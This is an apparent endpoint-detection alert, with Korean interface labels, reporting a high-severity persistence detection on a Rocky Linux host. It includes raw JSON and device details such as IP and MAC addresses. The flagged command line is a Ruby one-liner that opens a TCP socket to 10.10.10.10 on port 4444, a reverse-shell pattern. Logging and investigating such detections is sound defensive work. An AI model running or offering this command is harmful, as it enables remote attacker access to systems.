Alert Information
High
- Alert ID
ind:b4aeee57c4b841bc95cb853f0aca95e1:1766234602944293599-30106-7654160- Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:b4aeee57c4b841bc95cb853f0aca95e1:1766234602944293599-30106-7654160- 설명
- The activity appears to be related to an adversary establishing persistence. The host may already be compromised and the activity should be investigated further to find the source.
- 호스트
- localhost.localdomain
- 상태
- new
- 생성 시간
- 2025-12-20 21:44:25
- 업데이트 시간
- 2025-12-20 22:43:25
MITRE ATT&CK
- Tactic
- Persistence
- Technique
- External Remote Services
Command Line
bash -c ruby -rsocket -e 'f=TCPSocket.open("10.10.10.10",4444).to_i'
Raw JSON Data
{"id":"ind:b4aeee57c4b841bc95cb853f0aca95e1:1766234602944293599-30106-7654160","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:b4aeee57c4b841bc95cb853f0aca95e1:1766234602944293599-30106-7654160","agent_id":"b4aeee57c4b841bc95cb853f0aca95e1","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"The activity appears to be related to an adversary establishing persistence. The host may already be compromised and the activity should be investigated further to find the source.","severity":70,"severity_name":"High","confidence":80,"tactic":"Persistence","tactic_id":"TA0003","technique":"External Remote Services","technique_id":"T1133","cmdline":"bash -c ruby -rsocket -e \u0027f=TCPSocket.open(\u002210.10.10.10\u0022,4444).to_i\u0027","filename":"bash","filepath":"/usr/bin/bash","sha256":"ec6d007d48ef11bc47ad3f372b4b20ff2f0d4e63867e7e4cc0f1b17b19fa88b2","status":"new","type":"ldt","created_timestamp":"2025-12-20T12:44:25.070111508Z","updated_timestamp":"2025-12-20T13:43:25.046856749Z","device":{"device_id":"b4aeee57c4b841bc95cb853f0aca95e1","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.18410.0","hostname":"localhost.localdomain","local_ip":"10.24.11.62","external_ip":"211.198.135.5","mac_address":"00-0c-29-89-f8-0a","platform_name":"Linux","os_version":"Rocky Linux 9.6"},"aggregate_id":"aggind:b4aeee57c4b841bc95cb853f0aca95e1:4814497889","CreatedAt":"2025-12-20T21:44:25.0701115+09:00","UpdatedAt":"2025-12-20T22:43:25.0468567+09:00"}
Quick Info
- Severity High
- Score 70
-
Agent ID
b4aeee57c4b841bc95cb853f0aca95e1
Actions